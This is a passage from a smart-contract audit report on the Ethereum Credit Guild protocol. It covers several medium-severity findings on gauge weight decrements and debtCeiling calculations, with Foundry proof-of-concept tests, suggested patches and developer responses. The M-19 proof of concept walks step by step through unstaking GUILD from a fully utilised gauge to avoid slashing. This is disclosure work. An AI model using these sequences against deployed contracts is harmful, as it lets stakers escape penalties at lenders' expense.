                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: 0,
                minPartialRepayPercent: 0,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        vm.startPrank(governor);
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
        vm.stopPrank();
        //@audit-info active term2, which has the same gauge type with term1 
        guild.addGauge(1, address(term2));
        //@audit-info mint 2e18 guild token to carol
        guild.mint(carol, 2e18);
        vm.startPrank(carol);
        guild.incrementGauge(address(term), 1e18);
        guild.incrementGauge(address(term2), 1e18);
        vm.stopPrank();
        // prepare (1)
        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        //@audit-info bob propose to offboard term
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        //@audit-info term is able to be offboarded with enough votes.
        offboarder.supportOffboard(snapshotBlock, address(term));
        assertEq(offboarder.polls(snapshotBlock, address(term)), _QUORUM + 1);
        assertEq(offboarder.canOffboard(address(term)), true);

        assertEq(guild.isGauge(address(term)), true);
        assertEq(psm.redemptionsPaused(), false);
        assertEq(offboarder.nOffboardingsInProgress(), 0);

        offboarder.offboard(address(term));
        //@audit-info term is offboarded
        assertEq(guild.isGauge(address(term)), false);
        //@audit-info the redemption function is paused, no one can redeem their credit token
        assertEq(psm.redemptionsPaused(), true);
        assertEq(offboarder.nOffboardingsInProgress(), 1);
        vm.stopPrank();
        assertEq(guild.getUserGaugeWeight(carol, address(term)), 1e18);
        vm.prank(carol);
        //@audit-info however, carol can decrement their gauge weight on term
        guild.decrementGauge(address(term), 1e18);
        assertEq(guild.getUserGaugeWeight(carol, address(term)), 0);
    } 

Check if all loans have been closed in GuildToken#_decrementGaugeWeight():

    function _decrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
        require(
            _lastGaugeLossApplied >= _lastGaugeLoss,
            "GuildToken: pending loss"
        );
+       uint256 issuance = LendingTerm(gauge).issuance();
+       if (isDeprecatedGauge(gauge)) {
+           require(issuance == 0, "GuildToken: not all loans closed");
+       }
        // update the user profit index and claim rewards
        ProfitManager(profitManager).claimGaugeRewards(user, gauge);

        // check if gauge is currently using its allocated debt ceiling.
        // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
-       uint256 issuance = LendingTerm(gauge).issuance();
        if (issuance != 0) {
            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }

        super._decrementGaugeWeight(user, gauge, weight);
    }

Assessed type

Context

eswak (Ethereum Credit Guild) commented:

In the provided PoC, the term that is offboarded does not have any active loans, so it cannot create bad debt during liquidation. The mechanism that prevents GUILD holders from decrementing weight and front-running the loss is in the GuildToken, where current term issuance is checked. Issuance is decreased only after the auctions conclude, so after bad debt or profit is realized, and that is what prevents GUILD gauge allocators to avoid slashing.

Some GUILD holders could still decrement weight during the auction, but not to the extent that it would make the debt ceiling below issuance. I’ll let my colleague @OneTrueKirk weigh in on whether we should prevent all gauge weight decrements during liquidations, or if the current implementation is fine, but as described I don’t think this is a medium issue, more like an Analysis.

OneTrueKirk (Ethereum Credit Guild) commented:

I think it’s a good idea to prevent gauge weight deprecation once a lending term has been offboarded. Especially since in the case of the surplus GUILD minter, there is exogenous surplus buffer capital which should help to protect passive lenders, but might escape at this time. Therefore, I think that the severity of Medium is appropriate @eswak.

eswak (Ethereum Credit Guild) confirmed


[M-18] Incorrect calculations in debtCeiling

Submitted by SpicyMeatball, also found by JCN (1, 2), nocoder, cccz, niroh, mojito_auditor, rbserver, klau5, santipu_, TheSchnilch, Byteblockers, kaden, and ether_sky

Incorrect debtCeiling value will prevent users from withdrawing Guild tokens out of the gauge.

Proof of Concept

If there is a loan in the gauge and user wants to decrement the weight, we need to check it’s ceiling first:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L224-L231

        // check if gauge is currently using its allocated debt ceiling.
        // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
        uint256 issuance = LendingTerm(gauge).issuance();
        if (issuance != 0) {
            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }

This is needed to ensure that loans are distributed between the gauges according to their weights and tolerance. This only matters if there are multiple gauges of the same type. If there is, only one gauge ceiling is limited by the hardcap and the minter buffer.

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L287

        } else if (gaugeWeight == totalWeight) {
            // one gauge, unlimited debt ceiling
            // returns min(hardCap, creditMinterBuffer)
            return
                _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
        }

Unfortunately, debtCeiling(int256 gaugeWeightDelta) applies delta only to the gaugeWeight leaving totalWeight as-is:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L270

    function debtCeiling(
        int256 gaugeWeightDelta
    ) public view returns (uint256) {
        address _guildToken = refs.guildToken; // cached SLOAD
        uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
            address(this)
        );
        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
        uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
        uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
            gaugeType
        );

Check this test case for GuildToken.t.sol, where the user is unable to withdraw tokens from the gauge even it it’s the only gauge of it’s type and ceiling should be “unlimited”.

Modify debtCeiling to act like a LendingTerm:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/test/unit/tokens/GuildToken.t.sol#L27

    function debtCeiling(int256 gaugeWeightDelta) public view returns (uint256) {
        uint256 gaugeWeight = token.getGaugeWeight(address(this));
        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
        uint256 gaugeType = token.gaugeType(address(this));
        uint256 totalWeight = token.totalTypeWeight(gaugeType);
        if (gaugeWeight == 0) {
            return 0; // no gauge vote, 0 debt ceiling
        } else if (gaugeWeight == totalWeight) {
            // one gauge, unlimited debt ceiling
            // return unlimited
            return 1_000_000 ether;
        }
        uint256 _issuance = issuance; // cached SLOAD
        uint256 totalBorrowedCredit = credit.totalSupply();
        uint256 gaugeWeightTolerance = 1e18;
        if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
            // first-ever CREDIT mint on a non-zero gauge weight term
            // does not check the relative debt ceilings
            return 1_000_000 ether;
        }
        uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) /
            1e18;
        uint256 debtCeilingBefore = (totalBorrowedCredit *
            toleratedGaugeWeight) / totalWeight;
        if (_issuance >= debtCeilingBefore) {
            return debtCeilingBefore; // no more borrows allowed
        }
        uint256 remainingDebtCeiling = debtCeilingBefore - _issuance; // always >0
        if (toleratedGaugeWeight >= totalWeight) {
            // if the gauge weight is above 100% when we include tolerance,
            // the gauge relative debt ceilings are not constraining.
            return 1_000_000 ether;
        }
        uint256 otherGaugesWeight = totalWeight - toleratedGaugeWeight; // always >0
        uint256 maxBorrow = (remainingDebtCeiling * totalWeight) /
            otherGaugesWeight;
        uint256 _debtCeiling = _issuance + maxBorrow;
        // return min(creditMinterBuffer, hardCap, debtCeiling)
        if (1_000_000 ether < _debtCeiling) {
            return 1_000_000 ether;
        }
        return _debtCeiling;
    }

run the test

    function testDebtCeilingOneGauge() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        vm.stopPrank();

        // setup
        token.mint(alice, 100e18);

        token.setMaxGauges(3);
        token.addGauge(1, address(this));

        vm.startPrank(alice);
        token.incrementGauge(address(this), 10e18);
        vm.stopPrank();

        credit.mint(alice, 100e18);
        issuance = 100e18;

        vm.prank(alice);
        // will revert with "GuildToken: debt ceiling used"
        token.decrementGauge(address(this), 8e18);
    }

Tools Used

Foundry

Apply delta to totalWeight as well:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L270

    function debtCeiling(
        int256 gaugeWeightDelta
    ) public view returns (uint256) {
        address _guildToken = refs.guildToken; // cached SLOAD
        uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
            address(this)
        );
        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
        uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
        uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
           gaugeType
        );
+     totalWeight = uint256(int256(totalWeight) + gaugeWeightDelta);

Assessed type

Math

eswak (Ethereum Credit Guild) confirmed via duplicate issue #880


[M-19] Over 90% of the Guild staked in a gauge can be unstaked, despite the gauge utilizing its full debt allocation

Submitted by JCN

Users are incentivized to stake into a gauge in order to increase its debt ceiling. They are also incentivized to maintain the health of the protocol by calling unhealthy loans and offboarding unsound terms, and their staked Guild is subject to being slashed if they do not do so effectively. Once the debt ceiling for a gauge is reached, loans will need to be repaid or called in order for stakers to unstake their Guild. This invariant can be observed in the ECG audit page:

To unstake, the lending term issuance (borrow amount) must be below its debt ceiling, or they must first call one or more loans. This is to ensure no one can exit when they should be slashed.`

Note: I have also confirmed this to be an invariant of the protocol with the developers.

Below I will explain a scenario in which over 90% of staked Guild can be unstaked from a gauge that is currently using its full debt allocation. I will be using the parameters defined in the GIP_0.sol deployment script as an example, since these are the parameters that will define the protocol once it is launched:

  • hardCap = 2_000_000e18.
  • Global debt ceiling (i.e. bufferCap) = 2_000_000e18.
  • interestRate = 0.04e18.
  • maxDebtPerCollateralToken: 1e18.
  • maxDelayBetweenPartialRepay = 0.
  • minPartialRepayPercent = 0.
  • openingFee = 0.

We will be utilizing the following state for our example (numbers chosen for easier calculations):

  • 2_000_000e18 Guild is staked into the gauge.
  • 2_000_000e18 credit is borrowed (i.e. term is at full debt allocation).
  • Buffer is currently at 0 (i.e. global debt ceiling exhausted).
  • 2_000_000e18 credit is minted via the PSM (for borrowers to redeem the associated pegToken with their borrowed credit).
  • thus issuance == 2_000_000e18
  • thus totalBorrowerdCredit == 2_000_000e18

When a user unstakes from a gauge the following code is invoked:

GuildToken::_decrementGaugeWeight#L224-L233

224:        uint256 issuance = LendingTerm(gauge).issuance();
225:        if (issuance != 0) {
226:            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
227:            require(
228:                issuance <= debtCeilingAfterDecrement,
229:                "GuildToken: debt ceiling used"
230:            );
231:        }
232:
233:        super._decrementGaugeWeight(user, gauge, weight);

As we can see above, the LendingTerm::debtCeiling function is invoked in order to calculate the gauge’s debt ceiling after the user’s weight is removed from the gauge. The resulting debt ceiling is required to be equal to or greater than the issuance (how much credit is borrowed from the gauge). If the adjusted debt ceiling is at, or still above, the current issuance, then the the user will be allowed to unstake their weight from the gauge. Let us observe the debtCeiling function to see what happens when a user tries to unstake Guild given the provided state mentioned earlier:

LendingTerm::debtCeiling#L274-L291

274:        uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
275:            address(this)
276:        );
277:        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
278:        uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
279:        uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
280:            gaugeType
281:        );
282:        uint256 creditMinterBuffer = RateLimitedMinter(refs.creditMinter)
283:            .buffer();
284:        uint256 _hardCap = params.hardCap; // cached SLOAD
285:        if (gaugeWeight == 0) {
286:            return 0; // no gauge vote, 0 debt ceiling
287:        } else if (gaugeWeight == totalWeight) {
288:            // one gauge, unlimited debt ceiling
289:            // returns min(hardCap, creditMinterBuffer)
290:            return
291:                _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;

The adjusted weight is computed on line 277, where gaugeWeightDelta is how much weight (Guild) the user wishes to unstake. If the adjusted weight is 0 then the adjusted debt ceiling is considered 0 (no debt ceiling). If the adjusted weight is equal to the total weight of the gauge then the minimum value between the hardCap and buffer is returned. The first return statement will be invoked if our user is trying to unstake all of the Guild in the gauge. If our user is attempting to unstake 0 Guild, then the second return statement will be invoked and the buffer, which is 0, will be returned. Here is a reminder of the current state we are operating under:

  • totalWeight = 2_000_000e18.
  • gaugeWeight = 2_000_000e18.
  • hardCap = 2_000_000e18.
  • buffer = 0.

If our user is attempting to withdraw a value > 0 and < totalWeight, the following code will execute:

LendingTerm::debtCeiling#L293-L303

293:        uint256 _issuance = issuance; // cached SLOAD
294:        uint256 totalBorrowedCredit = ProfitManager(refs.profitManager)
295:            .totalBorrowedCredit();
296:        uint256 gaugeWeightTolerance = ProfitManager(refs.profitManager)
297:            .gaugeWeightTolerance();
298:        if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
299:            // first-ever CREDIT mint on a non-zero gauge weight term
300:            // does not check the relative debt ceilings
301:            // returns min(hardCap, creditMinterBuffer)
302:            return
303:                _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;

The above return statement will only be invoked if totalBorrowedCredit is 0, meaning there would need to be no current borrows for this gauge. This is not the case for our operating state since the entire hardCap of our gauge has been hit, and therefore, totalBorrowedCredit is 2_000_000e18. However, let us take note of the 3 values retrieved in the above code:

  • issuance = 2_000_000e18.
  • totalBorrowedCredit = 2_000_000e18.
  • tolerance = 1.2e18 (Note: This tolerance allows a gauge to extend 20% beyond its actual debt ceiling).

Since the above return statement can not be invoked under our operating state, we will continue to the next possible return statement:

LendingTerm::debtCeiling#L305-L310

305:        uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) /
306:            1e18;
307:        uint256 debtCeilingBefore = (totalBorrowedCredit *
308:            toleratedGaugeWeight) / totalWeight;
309:        if (_issuance >= debtCeilingBefore) {
310:            return debtCeilingBefore; // no more borrows allowed

As seen above, this return statement will be invoked if the issuance is equal to or greater than the calculated debtCeilingBefore. Therefore, if we can somehow make debtCeilingBefore == issuance, then the require statement in GuildToken::_decrementGaugeWeight (issuance <= debtCeilingBefore) will also pass and we will have successfully unstaked Guild.

How can we do this? I was intrigued by the function of the tolerance and how it can influence (purposely inflate) the debt ceiling of a gauge. I.e. tolerance will allow a gauge’s debt allocation of 80% to be considered > 80%. However, what if the gauge’s debt allocation is currently at 100%? It stands to reason that we can decrease the gaugeWeight by a specified amount and after the tolerance is applied we can potentially produce the same value as the original totalWeight. I.e. debt allocation of the gauge remains the same. Given our current operating state we will have to make the toleratedGaugeWeight == totalWeight. Once this is achieved, the debtCeilingBefore will be equal to totalBorrowedCredit, which is equal to issuance.

Per my calculations, I found that given the current operating state we will be able to unstake ~16.66666...% of the totalWeight at a time. Below, I will demonstrate the calculations for doing so:

// use chisel console

// state
uint256 issuance = 2000000000000000000000000;
uint256 totalBorrwedCredit = 2000000000000000000000000;
uint256 tolerance = 1.2e18;
uint256 totalWeight = 2000000000000000000000000

// ideal unstakeAmount = totalWeight * .1666666666...
// solidity does not offer a lot of precision right out of the box so I used python to acquire the necessary precision

uint256 unstakeAmount = 333333333333333333333333;

// calculations
uint256 gaugeWeight = totalWeight - unstakeAmount;
// gaugeWeight == 1666666666666666666666667
uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18
// toleratedGaugeWeight == 2000000000000000000000000
toleratedGaugeWeight == totalWeight

uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight;
// debtCeilingBefore == 2000000000000000000000000
debtCeilingBefore == issuance

As we can see above, by utilizing the tolerance we were able to control the ratio between toleratedGaugeWeight and the totalWeight. Provided that the totalBorrowedCredit is equal to the issuance, we were able to unstake ~16.666666...% of the totalWeight from the gauge.

Impact

~16.6666% of the total staked Guild can be unstaked from a gauge currently utilizing its full debt allocation. This can be performed numerous times until over 90% of the total staked Guild has been unstaked. Theoretically, ~16.66666% can continue to be unstaked until virtually all meaningful Guild is unstaked from the gauge.

The above breaks an invariant of the protocol and enables Guild stakers to potentially avoid being slashed. Given that the Ethereum Credit Guild relies on properly incentivizing protocol participants to maintain the health of the system, this vulnerability can absolve stakers from punishment and disrupt the effectiveness and efficiency of the protocol, potentially leading to an unhealthy system.

Proof of Concept

The following PoC describes the scenario outlined in the Bug Description, where ~16.6666.... of the total staked Guild is unstaked from a gauge utilizing its full debt allocation. This is done until over 90% of the staked Guild has been unstaked from the gauge.

Place the test file inside of the test/unit/loan/ directory:

 // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";

contract UnstakeAtDebtCeiling is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address user = address(0x01010101);
    address borrower = address(0x02020202);
    address lender = address(0x03030303);
    Core private core;
    ProfitManager private profitManager;
    CreditToken credit;
    GuildToken guild;
    MockERC20 collateral;
    MockERC20 pegToken;
    SimplePSM private psm;
    RateLimitedMinter rlcm;
    AuctionHouse auctionHouse;
    LendingTerm term;

    // LendingTerm params (same as deployment script)
    uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1
    uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR
    uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0; 
    uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0; 
    uint256 constant _HARDCAP = 2_000_000e18; // 2 million

    uint256 public issuance = 0;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManager = new ProfitManager(address(core));
        collateral = new MockERC20();
        pegToken = new MockERC20(); // 18 decimals for easy calculations (deployment script uses USDC which has 6 decimals)
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(
            address(core),
            address(profitManager)
        );
        rlcm = new RateLimitedMinter(
            address(core) /*_core*/,
            address(credit) /*_token*/,
            CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/,
            0 /*_maxRateLimitPerSecond*/,
            0 /*_rateLimitPerSecond*/,
            uint128(_HARDCAP) /*_bufferCap*/
        );
        auctionHouse = new AuctionHouse(address(core), 650, 1800);
        term = LendingTerm(Clones.clone(address(new LendingTerm())));
        term.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
                minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(pegToken)
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge 
        guild.setMaxGauges(10);
        guild.addGauge(1, address(term));
    }

    function testUnstakeAtFullDebtAllocation() public {
        // verify initial state
        LendingTerm.LendingTermParams memory params = term.getParameters();
        assertEq(params.hardCap, _HARDCAP);
        assertEq(term.issuance(), 0);
        assertEq(credit.totalSupply(), 0);
        assertEq(psm.redeemableCredit(), 0);
        assertEq(guild.getGaugeWeight(address(term)), 0);
        assertEq(rlcm.buffer(), _HARDCAP);

        // 2 million GUILD is staked into term
        guild.mint(user, _HARDCAP);
        vm.startPrank(user);
        guild.incrementGauge(address(term), _HARDCAP);
        vm.stopPrank();
        assertEq(guild.getGaugeWeight(address(term)), _HARDCAP);
        assertEq(guild.getUserWeight(user), _HARDCAP);

        // 2 million CREDIT is borrowed from term
        uint256 borrowAmount = _HARDCAP;
        uint256 collateralAmount = _HARDCAP;
        collateral.mint(borrower, collateralAmount);
        vm.startPrank(borrower);
        collateral.approve(address(term), collateralAmount);
        term.borrow(borrowAmount, collateralAmount);
        vm.stopPrank();
        assertEq(term.issuance(), _HARDCAP);
        assertEq(rlcm.buffer(), 0);
        assertEq(credit.totalSupply(), _HARDCAP);

        // 2 million CREDIT is minted from PSM
        pegToken.mint(lender, _HARDCAP);
        vm.startPrank(lender);
        pegToken.approve(address(psm), _HARDCAP);
        psm.mint(lender, _HARDCAP);
        vm.stopPrank();
        assertEq(credit.totalSupply(), _HARDCAP * 2);
        assertEq(psm.redeemableCredit(), _HARDCAP);

        // all 2 million loaned CREDIT gets redeemed in PSM by borrowers
        vm.startPrank(borrower);
        credit.approve(address(psm), _HARDCAP);
        psm.redeem(borrower, _HARDCAP);
        vm.stopPrank();
        assertEq(credit.totalSupply(), _HARDCAP);
        assertEq(psm.redeemableCredit(), 0);

        // verify state
        assertEq(collateral.balanceOf(address(term)), _HARDCAP);
        assertEq(credit.balanceOf(borrower), 0);
        assertEq(credit.balanceOf(lender), _HARDCAP);
        assertEq(credit.totalSupply(), _HARDCAP);
        assertEq(term.issuance(), _HARDCAP);
        assertEq(psm.redeemableCredit(), 0);
        assertEq(rlcm.buffer(), 0);
        assertEq(guild.getGaugeWeight(address(term)), _HARDCAP);
        assertEq(guild.totalWeight(), _HARDCAP);
        assertEq(guild.getUserWeight(user), _HARDCAP);
        assertEq(profitManager.gaugeWeightTolerance(), 1.2e18);

        // user tries to unstake various amounts at debtCeiling, but correctly fails
        vm.startPrank(user);

        vm.expectRevert("GuildToken: debt ceiling used");
        guild.decrementGauge(address(term), _HARDCAP);

        vm.expectRevert("GuildToken: debt ceiling used");
        guild.decrementGauge(address(term), 500_000e18);

        vm.expectRevert("GuildToken: debt ceiling used");
        guild.decrementGauge(address(term), 100e18);

        vm.stopPrank();

        // user successfully unstakes ~16.66%, despite term being at full debt allocation
        uint256 totalUnstaked;
        uint256 correction;

        uint256 unstakeAmount = 333333333333333333333333;
        
        emit log_named_uint("Gauge Weight before unstake", guild.getGaugeWeight(address(term)));

        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();
        totalUnstaked += unstakeAmount;
        
        emit log_named_uint("Gauge Weight after 1st unstake", guild.getGaugeWeight(address(term)));

        verifyState(0, totalUnstaked);
        
        // user successfully unstakes another ~16.66% 
        correction += 1;
        unstakeAmount = 277777777777777777777778;

        vm.startPrank(user);
        guild.incrementGauge(address(term), correction); // to handle rounding issues
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();
        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 2nd unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        unstakeAmount = 231481481481481481481481;
        
        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 3rd unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        unstakeAmount = 192901234567901234567901;

        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 4th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        correction += 5493827160493827160492; // to make calculations easier
        unstakeAmount = 161666666666666666666666;

        vm.startPrank(user);
        guild.incrementGauge(address(term), 5493827160493827160492);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 5th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        unstakeAmount = 134722222222222222222222;

        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 6th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        unstakeAmount = 112268518518518518518518;

        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 7th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        unstakeAmount = 93557098765432098765432;

        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 8th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        correction += 103395061728395061726; // to make calculations easier
        unstakeAmount = 77981481481481481481481;

        vm.startPrank(user);
        guild.incrementGauge(address(term), 103395061728395061726);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 9th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        unstakeAmount = 64984567901234567901234;

        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 10th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        correction += 160493827160493827; // to make calculations easier
        unstakeAmount = 54153833333333333333333;

        vm.startPrank(user);
        guild.incrementGauge(address(term), 160493827160493827);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 11th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        unstakeAmount = 45128194444444444444444;

        vm.startPrank(user);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 12th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        // user successfully unstakes another ~16.66%
        correction += 1;
        unstakeAmount = 37606828703703703703704;

        vm.startPrank(user);
        guild.incrementGauge(address(term), 1);
        guild.decrementGauge(address(term), unstakeAmount);
        vm.stopPrank();

        totalUnstaked += unstakeAmount;

        emit log_named_uint("Gauge Weight after 13th unstake", guild.getGaugeWeight(address(term)));

        verifyState(correction, totalUnstaked);

        emit log_named_uint("Number of GUILD user has unstaked so far", totalUnstaked);

        // user can keep performing these calculations to unstake more GUILD

        // calculations occurring in `LendingTerm::debtCeiling`:
        // uint256 totalWeight = guild.totalTypeWeight(1);
        // uint256 gaugeWeight = totalWeight - unstakeAmount; 
        // uint256 tolerance = profitManager.gaugeWeightTolerance(); // 1.2e18

        // uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18; // totalWeight

        // uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight; // 2_000_000e18

        // ideal unstakeAmount ~= totalWeight + ((totalBorrowedCredit * totalWeight) / tolerance) *with a lot of precision*
        // a.k.a totalWeight * .16666... *high high precision*

        // the goal is to make `toleratedGaugeWeight == totalWeight`, assuming that totalBorrowedCredit == issuance
    }

    function verifyState(uint256 correction, uint256 unstaked) internal {
        // verify state
        assertEq(credit.totalSupply(), _HARDCAP);
        assertEq(term.issuance(), _HARDCAP); // issuance is at hardCap/debtCeiling
        assertEq(psm.redeemableCredit(), 0);
        assertEq(rlcm.buffer(), 0); // global debtCeiling hit
        assertEq(guild.getGaugeWeight(address(term)), _HARDCAP + correction - unstaked);
        assertEq(guild.totalWeight(), _HARDCAP + correction - unstaked);
        assertEq(guild.getUserWeight(user), _HARDCAP + correction - unstaked);
